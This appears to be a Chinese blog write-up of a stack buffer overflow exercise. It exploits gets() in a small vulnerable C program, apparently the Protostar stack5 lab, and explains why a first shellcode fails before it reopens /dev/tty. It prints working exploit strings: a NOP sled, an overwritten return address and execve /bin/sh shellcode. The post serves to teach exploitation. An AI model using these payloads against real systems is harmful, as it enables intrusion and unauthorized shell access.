c语言gets函数缓冲区溢出,对gets()函数缓冲区溢出的利用

//gets函数不会检查边界,会造成溢出

//gcc test.c -o flaw

1#include 

2#include 

3#include 

4#include 

5

6int main(int argc, char **argv)

7{

8  char buffer[64];

9

10  gets(buffer);

11}

修改http://shell-storm.org/shellcode/files/shellcode-827.php上的shellcode,让它适合这个程序

shellcode:"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd8\xfc\xff\xbf\x90\xfc\xff\xbf"

0x1 奇怪的现象:直接cat shellcode | ./flaw  会出现段错误(segment fault)。奇怪的是gdb调试的时候,确实执行到了shellcode,理应有一个shell出现啊.在gdb中,shell出现后立马退出。

google,看到是gets()函数的原因。

要想利用gets函数引起的缓冲区溢出,shellcode中应该要重新打开输入。(reopen the input)

也就是说,我开始找的shellcode刚好对gets函数无效。

于是,找了个有重新打开输入功能的shellcode。见link

0x2 奇怪的现象:直接cat shellcode | ./flaw 会出现非法指令(Illegal instruction)。但是用gdb调试的时候,执行完shellcode,就有一个shell出来了.

gdb调试程序和直接运行程序时,寄存器的值是不一样。

//打印寄存器的值

int main()

{

int i;

asm("\t movl %%ebx,%0" : "=r"(i));

printf("esp:%x\n",i);

return i + 1;

}

f697c54d761e3923685638be3afbc058.png

所以在栈中覆盖"EIP"值时,是跟寄存器中看到的是不一样的.

至于怎么能动态地计算出这个EIP值,现在还没接触到。

所以,我最终的那个要覆盖的"EIP"值其实是有点乱猜的成分.

最终的exp:

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x08\xfd\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"

link:

https://www.mattandreko.com/2011/12/17/exploit-exercises-protostar-stack-5/

http://stackoverflow.com/questions/2859127/shellcode-for-a-simple-stack-overflow-exploited-program-with-shell-terminates-d

http://www.exploit-db.com/exploits/13357/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值